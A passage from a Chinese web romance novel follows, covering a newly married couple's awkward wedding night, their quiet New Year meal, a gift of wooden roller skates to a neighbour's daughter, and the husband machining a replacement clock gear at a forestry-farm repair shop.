祁放动作几不可查一顿,很快又如常把写字桌上的瓜子盘拿起来,放到炕柜下烘着防潮,“我没那个本事。”
这话也不知道是在谦虚,还是在自嘲,让严雪不禁想起前几天的一件事。
本来结婚这种事,是该请家里亲戚的。严雪也就罢了,亲戚都远在关里,唯一离得较近的单秋芳关系还比较远,不好叫人家大年底下过来赶礼,祁放却在姑姑家住了好几年,于情于理都该请上姑姑一家。
可严雪问他有没有什么亲戚要请的时候,他却说没有,态度冷淡甚至堪称冷漠。
当时严雪就在想,祁放和他姑姑家是不是有什么龃龉,毕竟姑姑是亲的,姑父可不是。
何况听说他姑姑家孩子也不少,还要多养一个他,恐怕这些年日子并不怎么好过。
严雪不是个爱揭人伤疤的,祁放应该也不是,不然也不会都这么长时间了,还一句她家里的情况都不多问。
她也就转移了话题,“对了,林场有谁木匠活做得好你知道吗?”
祁放并没有问她想干什么,只给出答案,“有个贾师傅,林场家具都是找他打的。”
“那等过完年,我找他做点东西。”
严雪又想到了旱冰鞋,还有另外一样。刘家实在帮了他们太多,不送点什么感谢一下她总觉得过意不去。
祁放闻言“嗯”了声,“年后我带你过去。”一时又没了话。
两个人虽然已经是合法夫妻,但其实还真不算熟,几次见面谈的都是婚事,现在婚结完了,连聊都没东西可聊了。
这倒也不算什么,严雪又不是那种没话聊就会尴尬的人,关键今天晚上是他们的新婚之夜。
和一个只见过几面了解都不算了解的人上床,跟搞一夜情也没什么区别,严雪虽然是穿的,思想也还没到这种境界,只要想想就觉得别扭。
尽管这个“一夜情”对象他相貌极品,身材比例优越,撸起衣袖时还有漂亮的薄肌……
严雪重新将脸枕回手臂,身体里还残留着酒劲儿,人却没多少睡意,就这么闭眼趴到了八点多。
写字桌边祁放先有了动静,合上一直写写画画的本子,起身锁进那个小箱子里,接着似乎微一顿,低声叫她:“严雪。”
在装死和面对现实之间严雪只犹豫了一秒,就选择了面对现实,应一声起来洗漱。
回来时男人已经将被褥放好,炕头更暖和那边显然是留给她的,见她进来,一言不发也去了外屋。
人再回来,林场刚好停电,所有光源一瞬收归黑暗。
寂静中不知是谁屏了下呼吸,接着是窸窸窣窣的脱衣声,有人掀开了被子一角,躺在了严雪身侧。
淡淡的香皂味道自空气中飘来,严雪心里漫无边际地想,还好这人卫生习惯不错,要是不洗脚不洗澡,神颜她也吃不下去。
闭眼等了会儿,旁边却没有动静了。
这就好比明知道有第二只靴子要落下,但左等右等就是迟迟不落,严雪忍不住翻了个身,睁眼朝旁边看去。
祁放显然也还没睡,半合着眼平躺着,甚至衬衫都还穿在身上,只领口解开几颗扣子,一只手搭在被头。
察觉到严雪翻身,他默了会儿,才侧眸看来,黑暗中一双桃花眼完全辨不出情绪。
两人隔着寂静的黑夜对视,不多久,又似有了默契同时移开。
严雪再次翻身,这一回直接背对着祁放。祁放虽然还是平躺着,手却下意识将被子往上拉了拉。
这男人是紧张,是不会,还是等她主动呢?
严雪有点想吐槽。
她不知道的是,旁边祁放刚好也在想她,想她这个翻身的举动,想她白天领完结婚证问那几个问题。
别看严雪话不少,嘴巴也甜,但其实她是个不怎么会说废话的人。
不打听别人家的闲事,不随意对什么做出评价,今天那两个风马牛不相及的问题,完全不像是她会问出来的。
她是终于意识到他们已经结婚了,开始后知后觉紧张?
还是开始后悔了……
祁放不得不往最坏的方向去想,就像他这几年的命运,只会把他往更坏的地方去推。
而且她这么翻身,明显是觉得不安吧。
怕他会对她做点什么。
黑暗中,寂静被拉得无限漫长,像两个人都有些混乱的思绪,直到外面突然一阵狗吠,像是从他们屋后那户人家传来的。
两人仿佛有了默契,不约而同转过视线,凝神细听。
林场不少人家都养狗,狗叫没什么稀奇。但这毕竟是山里,不仅得防贼,还得防着有野兽,农业队那边就常有野兽去祸害粮食和牲畜。
听了半天,狗吠都没有停止,甚至隐约出现了人声,祁放拿起叠放在炕边的毛衣,“我去看看。”
“嗯。”严雪拥被坐起身,见男人利落套好衣裤下地,又追了一句:“注意安全。”
祁放套着大衣看了她一眼,“嗯。”开门出去了。
严雪也没闲着,下去把门窗都检查了一遍,看有没有锁上。刚检查完,祁放从外面回来,“没事,后街有一家两口子吵架。”
两口子吵架,吵得邻居家大半夜狗叫,这是得有多激烈?
严雪无语,见男人反手将门插上,披紧棉衣回了里屋。
这回脱衣,上炕,因为有外面的狗叫人声配着,倒没有之前那么不自在了。
就是也没了做点什么的气氛,毕竟那两口子吵得挺长远,断断续续缠缠绵绵半天都没停。
严雪累了一天,又喝了大半斤酒,忍不住打了个哈欠。
那边祁放听到,似乎是沉默了一瞬,清冷的嗓音低声道:“睡吧。”
黑暗中也不知是谁松了一口气,反正严雪再睁眼,已经是第二天的早上了。
刘卫国是下午一点多来的,来还刘家昨天拿走的盆,进门就朝祁放挤眉弄眼,“知道你们今天起不来,我故意等到这个点儿才过来,怎么样?够意思吧?”
那可能要让他失望了,他们昨天什么都没干。
当然这话严雪不可能说,只是笑着接过他手里的盆,放进碗柜。
祁放脸上也不见丝毫异样,半敛着眼扫向他怀里的东西。
第 17-18 章
“阿啾——”
缺德玩意儿严雪进门就打了个大喷嚏。
祁放正在淘米准备蒸隔年饭,闻言看了过来。
不等他说什么,严雪已经摆摆手,“没事,估计是有人念叨我,刚才我碰到梁其茂了。”
“他家住这附近?”
如果是在这附近,就难怪他会知道他们在这结婚了。
严雪点点头,一面把刚刚的发现说给他听,一面开始准备炒菜。
上辈子做生意久了,虽然规模不大,她还是养出了迷信的毛病,过年这种大日子不管几个人吃饭,高低也得整出来八个菜。
说起来这年代还没怎么有人迷信八,过年买碗都是买六个,四不吉利,八让人联想到过得疤疤癞癞也不吉利。
但严雪不管,她就要发财,然后把弟弟严继刚接过来。有菜要上,没有菜硬凑也要上,最后连盘子加碗,还真被她凑出了八个。
一直忙到下午快三点,两人才彻底忙完,坐在桌边吃一顿团年饭。
只是说是团年,两人身边都没有亲人,面对满满一桌子饭菜,突然显得孤零零的。
严雪干脆找出结婚那天喝剩下的白酒,给自己倒了小半杯,给祁放倒了个杯底,端起来,“新年快乐!”
她实在有双很漂亮的眼睛,尤其是弯起来的时候,笑盈盈的像缀了星光,似是永远都不会有烦恼。
祁放看着,也端起搪瓷缸子,和她极轻地碰了下,“新年快乐。”
纯粮食酿造的酒液回味香醇,入口却辛辣,一路沿着喉管烧到了胃里,很快又越过心脏,烧到了脸上。
严雪也不知道是不是自己的错觉,好像男人不只是脸,薄唇都比平时红润了几分。
她托腮看了会儿,“你一直都不能喝酒吗?”
“嗯,”祁放声音还是淡淡的,“成年以前没喝过。”
但许是今天过年,话好歹比单纯一个“嗯”多了点。
严雪就夹了筷子菜,又问了句:“成年后呢?也没陪家里长辈喝过?”
男孩子长成这样也是很危险的,他这个酒量,要是放她上辈子,还不知道得被多少人盯上。
祁放闻言却一顿,“没,成年后我都是在山上过的。”
“在山上?”严雪惊讶了。
对面男人的目光已经落在了她脸上,眼神极深,“对,在山上看机库。”
有那么一瞬间,严雪差点以为有什么暗影纠缠的东西要从那双眼睛里冲出来了,细看又仿佛只是错觉。
她谨慎了下措辞,“过年也在?”
“一直都在。”祁放已经垂下了视线,向来冷淡的脸上看不出喜怒。
旁人都有家人,都要回家过年,包括上山下乡的那些知青,只有他无处可去,自然也只有他最合适。
本以为今年也是如此,没想到却出了意外。
他修长的指节扣着杯沿,桃花眼半敛,端起搪瓷缸子面无表情又抿了一口。
严雪不知道他在想什么,但总归不是太好的事情,不然怎么会别人都在举家团圆,他却一个人在山上冷冷清清看机库。
她提起酒瓶准备再给男人倒点酒,“你今天多喝点吧,试试自己酒量到底在哪里。”
想试试酒量也好,借酒浇愁也罢,反正她是很难醉了,有人能替她醉一把也挺好的。
男人却按住杯口,很干脆的拒绝了,“不用。”
比起在醉里寻求安慰,他显然更想要清醒,酒瓶就这么顿在了半空,又被严雪收了回去,“那算了。”
没有春晚作为背景音,屋内有些过分安静,严雪望着隔了层清霜的窗外,一时也有些出神。
也不知道继刚现在怎么样了,定下婚事后她就给家里写了信,随信将那一百块寄了回去,让奶奶帮着把欠队里的钱还了,奶奶应该已经收到了吧?
她尽可能用继刚看得懂的字写的,继刚应该能磕磕绊绊读几句,就是之前学的东西可能要荒废了,奶奶并不识字……
一餐饭就这么在沉默中过了大半,直到院外传来动静,有人进来了。
窗玻璃上都是冻霜,从里面有些看不太清外面的景象,严雪想了想,还是穿上鞋出去看了眼。
回来的是郭长平一家三口,郭长平送人去医院那天她就见过,倒是郭长平媳妇她还是第一次打照面。也不知道是最近太辛苦,还是情绪不佳,看着有些严肃,不怎么爱笑的样子。
早就知道家里添了租客,两人见到严雪并没有意外,打了招呼才带着孩子进屋,估计年后还要去医院跟郭大娘换班。
只是没想到郭长平没趁这机会在家好好歇歇,反而堵在李树武家附近,把李树武给揍了一顿。
“估计是连李树武媳妇骂郭大娘那份儿也算上了,牙都打掉了两颗。”刘卫国过来串门的时候说,“这下好,镇医院装一个假牙得不少天,采伐队初八就上山,根本不跟趟,李树武估计得豁牙漏齿过上一个多月。”
一副看笑话的口吻,显然对李树武这种因个人私利导致他人受伤的也不怎么待见。
但这件事虽然成了不少人家茶余饭后的谈资,终究热度不高,大家的热情还是更多放在了过年上。
林场虽然地处偏远,但林业一直是国家经济支柱产业之一,每年林业局都要向国家输送上亿立方木材,也算是地方上的大单位了。
因此林业局一直有专门的部门,负责挨个林场下来放电影,过年也会有扭秧歌之类的活动,丰富林场职工及家属的娱乐。
采伐忙碌的时候,还会有艺术团上到山上的营地,专门为采伐工人送去慰问演出。严雪来得晚,听说去年的艺术团里有从燕京下放过来的歌唱家,歌唱得特别好,不少职工家属都上山去听了,回来后津津乐道。
刘卫国不是一个人过来串门的,刘春彩也跟过来了,来邀请严雪跟她一起去看扭秧歌。
这种活动祁放向来是不参加的,兄妹俩象征性问了句,见他果然没兴趣,就把严雪拉出门了。
来的秧歌队人不少,敲锣打鼓吹唢呐,还都是有扮相的,一个个筹扇甩着,高跷踩着,后面还有跟着跑的大头娃。
秧歌沿着林场的主路扭了一路,林场的男女老少就围在街边看了一路,严雪也算感受了把这个年代的年味儿,她上辈子那会儿这种活动已经没有了。
见她满脸笑意回来,祁放问她:“你准备哪天去镇上?”
“去镇上?”严雪没记得男人和她提过这茬。
“去把上次没买齐的东西买了,”祁放说,“趁我这几天还有假。”
上次因为时间紧,又是严雪一个人去的,的确还差些东西没买,严雪想了想,“顺便去秋芳姨家串个门吧,上次我没碰到她人。”
“秋芳姨?”男人看了一眼她。
“就我姑姥姥家大女儿啊,你忘了?她家就住在镇上,我这次来还多亏了她。”
严家到底有多少亲戚祁放还真不知道,也就没多说,“行。”
至于祁放的姑姑,鉴于祁放之前几年都是在山上一个人过的年,祁放不提,严雪自然也不会提。
结果两个人去了镇上,又一次扑了个空。单秋芳一家回婆婆那过年了,得初六才能回来。
他们去那天是初五,刚好送年,林场下来一趟不容易,两人自然不可能再跑第二次,只得又把东西托给了对门。
出胡同的时候,正碰上几个年轻男人说说笑笑往后面那条胡同去。
祁放只瞟了一眼就收回视线,严雪自然没注意,倒是那边有人回头看了眼,被身边的人怼了把,“瞅啥呢?”
“没啥,应该是看错了。”
这回东西总算买齐了,唯一不方便的是这年代没有塑料袋,不是牛皮纸包,就是牛皮纸绳绑。
严雪把围巾手套摘下来,“你初八就上山,用不用我准备什么?”
“不用。”祁放想也没想拒绝,话毕察觉到什么,又抬起眸看她,“我自己会弄。”
“那我就不管了。”严雪本来还想把新买的饼干给他装点,他不要算了。
正整理东西,有乘务员从这边路过,人都走过去了,又转回头,盯着严雪瞧。
严雪注意到了,“同志你有事吗?”祁放也跟着望了过去。
“你是不是给齐……”似乎觉得说名字她也未必认识,对方又改了话,“你是不是给过人一幅画,画鞋的?”
“你是说旱冰鞋?”严雪只给过人这个东西。
果然对方点头,“就是那个冰鞋,下面有四个轱辘的。”
说着又看了她一眼,还有坐在她旁边的祁放,“他有东西让我给你,你等等我去休息室拿。”
“有东西给我?”严雪很显然的意外。
“放心,不是啥值钱东西。”乘务员已经转身走了。
祁放坐在窗边看了看严雪,并没有多问。
严雪却是个有话当场就说开的,“之前我在小市场碰到王老头以次充好坑人,当场拆穿了,差点被坑的就是他说这个人。后来又在车上碰到,对方看我在画图,跟我要,我就给他了。”
“你说的一点不愉快,就是因为这个?”
“也不全是。”严雪自认没那么无私,“之前我就和王老头有点摩擦,王老头把我装松子的麻袋割破了。”
这还一件接着一件……
祁放直觉这里面还有事,相处这些天,严雪并不像是会主动与人结怨的,甚至很会和人打交道,看刘家人跟顾大娘对她的态度就知道了。
但严雪不说,他也就没问,不多久乘务员回来,“就是这个,早两天就让我放车上了,一直没碰到你。”
把手里的东西放到严雪面前,竟然是一双用木头打好的旱冰鞋。
“你可别让我退回去啊,”乘务员说,“这东西有大小,退回去别人也穿不了。”
这倒是实话,严雪个子不高,按她的尺码制作的旱冰鞋自然也不大,别说男性,脚大一点的女性都未必能穿上。
她也就没再推拒,大大方方收下了,“帮我跟他说声谢谢。”
还掰了几根香蕉给对方,“还有同志过年好,这是我和我爱人的一点心意,麻烦你帮我们转交。”递上一袋饼干。
这句“我和我爱人”一出,乘务员忍不住又看了眼她身边的祁放。
不过人家做事很滴水不漏了,不仅回了礼,连他这个帮着捎东西的都送了水果,他点点头,“行,我帮你给他。”
人回到小金川,先拎着东西去了齐放那,“人家结婚了你知不知道?”
齐放正在洗衣服,闻言一头雾水,“什么我知不知道?”
“就给你图那姑娘,她之前不是还帮过你吗?我今天在车上碰上了。”乘务员说。
齐放立马停下动作,“那旱冰鞋你给她了?”竟然先关心这个。
乘务员很是无语,“给了,一见面就给了,喏,她还让我把回礼给你捎过来。”
一听还有回礼,齐放赶忙擦擦手,才敢去接纸袋子。
见他把东西仔细放回屋内,乘务员实在没忍住,“我说她结婚了,我在车上还碰到了她爱人。”
“她结不结婚关我啥事?我就是想谢谢她,又没别的意思。”
齐放嘟囔了一句,闷着头继续洗衣服。
乘务员却眼尖地看到,刚刚洗完的一条裤子又被他按回水里,打了一遍肥皂。
这让乘务员不禁在心里叹气,巴巴找人做出来,又特地让他在车上留意,怎么看都不像是只想谢谢人家。
齐放对他那个相亲对象可能都没这么上心,那事儿到现在还没个结果呢。
可人家姑娘已经结婚了,就算没结婚,他也未必有机会。
齐放这人太老实了,嘴又笨,人是个好人,可惜一点不会讨姑娘喜欢。
另一边,祁放对送东西的人不怎么在意,倒是对送来的东西难得有那么点兴趣。
东西是他拎下车的,一入手就知道用了很扎实的木料。
轮子轴心用的是钢针,估计还上了油,转动起来特别流畅,表面还刻了些纹路,应该是用来防滑的。
可惜也是用木头做的,换成塑料肯定更合适,他把旱冰鞋放到炕边,问严雪:“这是你想出来的?”
“不是啊,以前见别人穿过。”
严雪自认没那创造能力,也不居功,反正对她来说,上辈子也是以前嘛。
祁放就没再多问,“贾师傅那你还去吗?”
就说他是他家老实基因突变了,一看到旱冰鞋,就猜出她之前找木匠是想做啥。
“去啊,我还有一样东西想做。”严雪规整好买回来的东西,过来拎起旱冰鞋,“我去一趟春彩家。”
“这是给春彩的?”祁放真正意外了。
他知道严雪问过他春彩不能滑冰的事,却没想到她这么上心,竟然想出来个不用上冰也能滑的旱冰鞋。
看到严雪带来的东西,刘春彩也不可置信地连问两遍,“严雪姐,这真是给我的?”
刘家二女儿刘春妮和小儿子刘卫斌也围在旁边,像在围观什么稀罕动物。
刘春妮还好,性子比较腼腆,刘卫斌却伸手就要摸,被刘春彩瞪了一眼,又吐吐舌头收回。
“没事,摸摸坏不了。”严雪把鞋子推向刘春彩,“试试大小合不合适。”
她本来想自己找人打的,没想到有人先做了,还好刘春彩虽然比她小三岁,个子却和她差不多,应该能穿上。
一试果然能穿上,稍微有点松,带子绑紧点就没事了。
刘春彩坐在炕边滑了下,立马听到轮子嗖嗖转动的声音,“感觉比冰鞋还神奇诶!”
刘卫斌一听,更急切了,“姐!姐你让我试试!”
“你能穿上吗?”刘春彩才不舍得给。
“怎么穿不上?”刘卫斌表示不服,“咱妈都说我长得可快了,嗖嗖的。”
实在抢不过,又听到黄凤英从地窖回来了,他干脆跑出去,“妈,我也要旱冰鞋!”
“要啥冰鞋?都不许去河上滑冰,出事儿了咋整?”
黄凤英一看就是训习惯了,头都没抬。
“不是在冰上滑的,是在地上滑的!”刘卫斌急得直晃她胳膊。
没办法,黄凤英只能放下菜篮子,跟着他往里走,“你这是又看到啥了?一天天想一出是一出。”进门看到严雪还一愣,“小严过来了啊?”
“嗯,”严雪笑着指指刘春彩脚上造型齐特的的鞋套,“我来给春彩送旱冰鞋。”
刘春彩早忍不住要跟妈妈献宝了,“妈你看,不在冰上也能滑,是不是特别厉害?”
笑容大大的,比春日里的阳光还要灿烂,竟然刺了一下黄凤英的眼。
再看其他孩子,也都盯着冰鞋又是兴奋又是羡慕,黄凤英配合地露出笑容,“是挺厉害。”
“还是严雪姐对我好~”刘春彩立马抱住了严雪的胳膊,穿上旱冰鞋都比严雪高一截了,还把脑袋往严雪肩上蹭。
严雪拍了拍她,“快滑个试试,不行我再找人改。”
其他两个小的也催,然而刘春彩站那半天没动,反而把脸憋红了,最后实在被催得没办法了,“我不会滑还不行吗?”
屋内众人一下子笑了,刘卫斌更是挤眼睛吐舌头笑话姐姐。
“我又没滑过,不会咋啦?”这要不是刘春彩穿着冰鞋不敢动,早上去揪他耳朵了。
“没事,练练就会了。”严雪安慰小姑娘,“你要是滑着行,我这有图纸,还能再找人做。”
一听还能再找人做,两个小的眼睛都亮了,立马催着刘春彩去宽敞的地方练。
孩子们走了,黄凤英再看向严雪,眼睛里就有了复杂,“你有心了。”
“这东西也不是我做的,我就是照着记忆里画了个图纸,您别嫌我多事就行。”
“多啥事儿?我谢你还来不及,要不是你有心,谁会想着给春彩做这个。”
黄凤英说着,眼眶竟然有些潮,“我也知道我管孩子太严了,没少叫他们被别人笑话,可我也没办法……”
孩子的快乐固然重要,但没哪个家长愿意承担再一次失去孩子的风险。
严雪握住了她的手,什么都没说,这时候的黄凤英也未必真需要人说什么安慰。
直到刘卫国从外面回来,一进门就“呦”了一声,“春彩穿上新鲜玩意儿了啊,哪儿弄的?”
黄凤英迅速收拾好情绪,“看我,光顾着说话,都忘了给你弄菜了,我刚砍了点白菜,给你装两棵回去。”赶忙往外走,“你跟小祁结婚晚,也没来得及囤菜,要是没菜吃了就上我这儿拿。我去年买了一千多斤大白菜,二百斤萝卜。”
挑那包心好的白菜装了两棵,又添了三大根萝卜,十来个土豆,装在篮子里,“我都没跟你客气,你也别跟我客气。”
“这我俩得吃多长时间?祁放过两天就上山了。”严雪着实感觉到了对方沉甸甸的心意。
黄凤英甚至还想再装,“先吃萝卜,萝卜打了春就不好吃了,白菜跟地豆子找个凉快地方放着就行,也放不了几天。”
“我过去送吧。”刘卫国蹲那儿研究够了旱冰鞋,过来接过了篮子,“正好我有事找祁放,上次那齿轮我去镇上找了,没找着,得问问他到底咋办。今天上午我就去一趟了,你俩没在家。”
两人进门的时候,祁放已经将炕烧上了,正坐在桌边画着什么。
严雪扫了一眼,竟然是刘春彩那双旱冰鞋,样式、比例、细节全都没有出入,就像是照着实物画的。
这记忆力未免也太好了,让她自己画,她都未必能画这么细。
倒是刘卫国没怎么注意,进来便把事情和祁放说了,“我都跑遍了,也只找到一个差不多的,你看看是不是不能用。”
说着从口袋里拿出一个齿轮,说实在的单凭记忆,严雪很难分辨和原来那个有没有不同。
祁放却合上本子,只看了一眼就道:“大了点,差半毫米左右。”
“那咋办?”刘卫国一屁股坐在了炕沿上,撸了把头发,“我爸去找徐叔问了,也说弄不了。再就得上县里找了,大后天就得上山,哪有那个时间,还不一定能找着,总不能叫我妈她们就这么慢着看吧?”
黄凤英还好说,几个小的却是要上学的,尤其今年过年晚,再过没几天就要开学了。
祁放长指摩挲着那个齿轮,一直没有言语。
好半晌,刘卫国都准备就这么放弃了,他才开口问:“林场小修厂是不是有机床?”
“肯定有啊,电焊、机床都有,没有咋修机器?”刘卫国还没明白过来他问这个干嘛,“咋了?”
祁放将那个齿轮按在了桌上,“你要是着急,就去问小修厂借他们的机床用用。”——
祁放:假如时光倒流,我能做什么?先打死这个胆敢给我媳妇送鞋的,再问问自己你能不能长点心!能不能!
还是99个小红包,一共是19000字,小天使们我去睡觉啦~明天的更新依旧在零点哦~~
修成
==============
要借小修厂的机床,刘卫国可就没办法了,只能回家问刘大牛。
刘大牛倒是和小修厂厂长徐文利熟悉,要借打个招呼就行,坐在那抽着烟沉吟,“小祁真是这么跟你说的?”
“我还能骗你咋的?骗你有啥好处吗?”
刘大牛就没再说什么,晚上吃过饭直接出去了一趟,回来跟刘卫国说:“明天上午你带小祁过去吧。”
不仅打好了招呼,第二天自己也溜达过去准备瞅瞅祁放到底要怎么修这个小座钟。
徐文利把人带进去,实在没忍住又低声和他老生常谈,“他能行吗?咱这可不是给他们年轻人闹着玩的。你那破座钟不行就换了得了,三天两头地坏。”
“试试呗,不是还有你看着吗?我那也是家里传下来的老物件儿了,舍不得。”
“我不看着敢让他们上?出点啥事咋整?”徐文利觉得老友这纯粹是在给自己找麻烦,“不是我没跟你说啊,就算他会用,咱这就是最基础的设备,做不了复杂精细的东西。不然为啥还把拖拉机送镇机修厂,自己修不是更快?”
送镇机修厂还得调内燃机,还得排号,一来一回最少好几天。
“试试。”刘大牛还是那句话,“小祁这人要没把握绝不可能开口,不然我能让他来吗?”
见徐文利脸还挂着又小声补充:“我听说他来咱们林场之前,是镇机修厂的。”
“镇机修厂的我咋不认识?”徐文利不信。
“说是没干俩月就被下放了,我也不知道真假,你自己看看呗。”
徐文利还真不敢不看着,赶紧跟过去给两人拿护具。
正要给刘卫国讲怎么穿戴,祁放已经接过去自己弄好了,动作熟练自然,还真是接触过的。
徐文利不由多看了他一眼,还是帮刘卫国穿戴好,又反复强调了两遍注意事项,才去给车间供电。
一般不用机床电焊,简单修个机器,小修厂也是不供电的,只有晚上才提供照明。
祁放戴好防护面罩,直奔磨床而去。徐文利和刘卫国赶紧跟上,只有刘大牛因为护具不够,留在了车间外。
干待着也没意思,他给自己点了袋烟,抽的是那种木杆铜锅的老式烟袋。
东北老一辈女人也抽烟袋,不过讲究女长男短。他这个就是短的,只有上山采伐不方便的时候才会抽卷烟。
别看他跟徐文利说的好,其实自己心里也没谱,只是信得过祁放不会无的放矢罢了。
两袋烟慢悠悠抽完,里面动静总算停了。
不多会儿徐文利出来,身上防护服还穿着,只摘了面罩和手套,对着光看两个零件。
刘大牛在旁边墙上磕磕烟袋锅,赶紧也凑上去看,“弄出来了?”
“你瞅瞅是不是一样?”徐文利干脆把零件递给他。
刘大牛接过来也眯起眼睛对着光看,“好像是差不多,也不是,”他举举右手那个。“这个好像有点瑕疵。”
结果徐文利瞅他一眼,“这是你家那个有磨损的。”
刘大牛一愣,不可思议,“这是我家那个?”反反复复又仔细看了一遍。
“我亲自拿出来的,还能弄错?”徐文利把零件从他手里拿回,又进去了。
这回再出来,几个人全都脱了护具,祁放还在和刘卫国说:“回头我给你安上,你试试,没问题的话应该能用几年。”
刘卫国连连点头,小心将东西拿纸包好,塞进兜里,“你行啊,连零件都会磨,以前我咋没看出来?”
徐文利也在感叹:“你这手够稳的,我还以为咱这简陋机床做不出来啥精细东西。”态度早和进去时有了不同。
祁放表情始终淡淡的,“咱这设备挺全,够用了。”
“也就是个基础设备,还是别的地方淘汰下来的。”徐文利自己就是修机器的还能不知道,“之前老刘说你可能是镇机修厂下来的我还不信,你这手艺怎么跑这儿采伐来了?这不浪费吗?”
祁放没回答,抬腕看了下表,“严雪还要去趟贾师傅那,我得先走。”
他这是给刘家帮忙,刘家父子哪能再耽误他时间,立马表示他尽管走。徐文利抓不到人,只能又和刘大牛感叹了一阵。
第二天下午,刘卫国过来跟两人报喜,“这回准了,一天下来一分钟都没慢。”
“齿轮弄出来了?”严雪见他一脸轻松,笑着问。
昨天去小修厂,她没跟着凑热闹,鉴于上次只是问了一句就踩了雷,祁放回来后她也没打听。
刘卫国可不像祁放藏得住话,立马把昨天的事全跟她说了,“你是不知道,他对那些机床比对媳妇儿都熟,七吃咔嚓几下就弄完了。”
身为祁放媳妇儿的严雪:“……”
抬眸看了一眼刘卫国的祁放:“……”
不过这夫妻俩一个始终笑盈盈的,一个永远神色冷淡,刘卫国也没看出来,“这下可算好了,都折腾我一个年了。”
“不用再往县里跑了。”严雪说。
刘卫国认同点头,“可不是。”看严雪实在是个不错的听众,又把昨天那传言跟她讲了。
严雪回头看了祁放一眼,“他真在镇机修厂待过?”
祁放没说话,倒是刘卫国蛐蛐得起劲,“我觉得不可能,谁好好的从镇上跑林场来啊?就算要来,那也得是去小修厂,他都在采伐队干两年多了,估计就是之前跟人学了点,对吧?”
这句对吧显然是在问祁放,可惜祁放不置可否,并没有回答。
刘卫国就当他是默认了,还问他:“你要不要转到小修厂去?怎么也比采伐队轻快。”
“小修厂人够了。”祁放总算说了句。
刘卫国一想也是,“那真可惜,对了,你工龄快满三年了吧?我爸说今年想推荐你去培训锯手。这个可没满,李树武腾出来的地方现在还让我爸顶着呢,我爸天天晚上回来都嚷嚷胳膊疼。”
“差不多。”祁放还是淡淡的,一副不怎么感兴趣的样子。
刘卫国倒也习惯了,反而想到了其他,“于勇志总看你是个事儿,你说到时候于场长不会卡你名额吧?”
虽说场长只是二把手,上面还有个书记,但于场长真要想坏点什么事,郎书记跟祁放又不熟,未必会为了祁放拦他。
“要不咱们找找人?”刘卫国压低了声音。
“到时候再说。”祁放态度依旧,反而问他:“你东西都收拾好了?”
明天初八,他们就要上山继续采伐了,直到三四月份雪化才能下来。
刘卫国点头,“早收拾好了,我妈帮我收拾的。”又想起什么,问严雪:“你那是不是还有那什么旱冰鞋的图纸?”
“有。”严雪一听他问,就拉开了写字桌上的抽屉。
刘卫国赶忙凑过来,“有借我用用,你是不知道,我家那两个小的疯了,尤其是卫斌,晚上不睡觉闹着也要旱冰鞋。春彩宝贝她那鞋还宝贝得要命,碰都不让碰,更别提拆了研究怎么做了。”
“你拿去就是,本来就是给春彩画的。”严雪直接将图纸递给他,“不过这跟给春彩做的那个不是一张,可能有点出入。”
刘卫国折起来放进口袋里,“谢了,祁放明天就走,估计你俩还有不少话说,我就不搁这儿当电灯泡了。”朝着祁放挤了挤眼。
到底是还有不少话说,还是有不少事做,是个成年人就能看懂。
没想到刘卫国才走,就又有人找上了门。
来的是几个半大孩子,跟刘春彩差不多的年纪,在外面敲门问:“这里是严雪家吗?”
严雪才来林场半个多月,竟然有人来问她而不是祁放,她有些好奇。
结果竟然也是来问图纸的,几个半大孩子有些不好意思,“早上看到刘春彩滑,她说是你给做的。”
“对啊,姐姐你找谁做的?贾大爷吗?我咋没听说他还会做这个?”
一提起旱冰鞋,几个孩子全兴奋地叽喳起来,一不小心暴露了两道正在变声的公鸭嗓。
严雪稍一琢磨,就想起了钓鱼那天笑话刘春彩的几个人。
被笑话了那么多年,终于能扬眉吐气,估计刘春彩一学会怎么滑,就到几人面前晃了。而比起只能冬天在冰面上滑的普通冰鞋,显然是什么时候都能滑的旱冰鞋更吸引人,要知道现在已经二月下旬了,距离大河开化剩不了多少时间。
严雪笑起来,“东西是我找人做的,我也的确有图纸。”
“那能不能借我们看看?”几个孩子脸露急切,“我们就看看,做完了就给你送回来。”
“可是图纸已经被刘春彩她哥拿走了啊。”严雪摊手。
顶着几个孩子骤然失望的眼神,她笑道:“你们要用,可以去找刘春彩借,这个本来就是画给她的。”
他们笑话的是刘春彩,又不是她,到底要不要借,就也由刘春彩来决定好了。
几人没办法,只能告辞离开,出门的时候你推我,我推你,也不知道在嘀咕什么。
这帮孩子也就是调皮了点,并不是真有多坏。估计真要去跟刘春彩借图纸,应该会跟刘春彩道歉。
严雪关上门,一回身,发现祁放就靠在里屋门边看她。
男人个子实在太高,严雪经常要仰了脸才能看到他的眼睛。眼睛又太桃花,默默注视人的时候总有种深情的味道。
严雪自觉已经有些免疫了,还是顿了下才问:“怎么了?”
“没怎么。”祁放淡淡收回视线。
又是这样,好像总在暗中观察,偏又吝啬言语,他不说谁知道他在想什么?
这也就是严雪没点爱刨根问底的强迫症,不然早被搞破防了。
严雪惯常挂在脸上的笑容都有点假了,正要说什么,外面又有人找她,“严雪是不是住这?”
语气可没有刚才那几个孩子客气,像是带了点情绪。
严雪转回头去看,发现竟然是曾经见过一面的梁其茂媳妇,身后还跟着个九、十岁的男孩,正哭得跟个花猫似的。
边走于翠云还在回头数落儿子:“多大的人了还哭哭哭,嫌不嫌丢人?”
这回严雪的笑容是真假了,她怀疑对方是上门找人算账的。
虽说她跟祁放都不可能去欺负个孩子,但两家的关系的确不怎么样,对方也扑面而来一种家长带孩子来讨说法的即视感。
严雪连门都懒得去开,只等对方进来,谁知于翠云一进门就问:“你就是严雪?你家是不是有那啥……”
话到嘴边,她卡了一下壳,后面跟着的男孩忙提醒道:“旱、旱冰鞋。”
“对,旱冰鞋。我儿子今天看到人穿了,也想要一双,能不能把图纸借我们看看?”
刚送走了批会跟人道歉的,不会跟人道歉的就来了。
祁放个那么高长那么好一人站在里面,严雪就不信对方没看到,可对方还是张嘴就借图纸,一副理所当然的口气。
严雪站在门边没动,“真不巧,图纸已经借出去了。”
其实祁放那还有一张,但图是祁放画的,别说她没有替别人做主的习惯,能做主她也不想给。
于翠云一听还没说什么,身后的男孩已经嚎上了,“我要旱冰鞋!我就要旱冰鞋!”
第 19-20 章
祁放应该是提前找人问过,家属队都上哪儿报名,需要什么材料,全一清二楚。
林场的确是招家属队的,主要是分成农业队和季节工两类。
农业队,负责的是林场南面一大片土地,大约有个六七百亩,主要种些蔬菜供给林场食堂,也种粮食卖给林场职工。
毕竟林场没有自留地,因房屋间距不远,各家的菜园子也不大,每月按时发放的粮食不一定够吃。粮食卖给林场职工,既解决了粮食不够吃的问题,又给职工家属带来了收入。
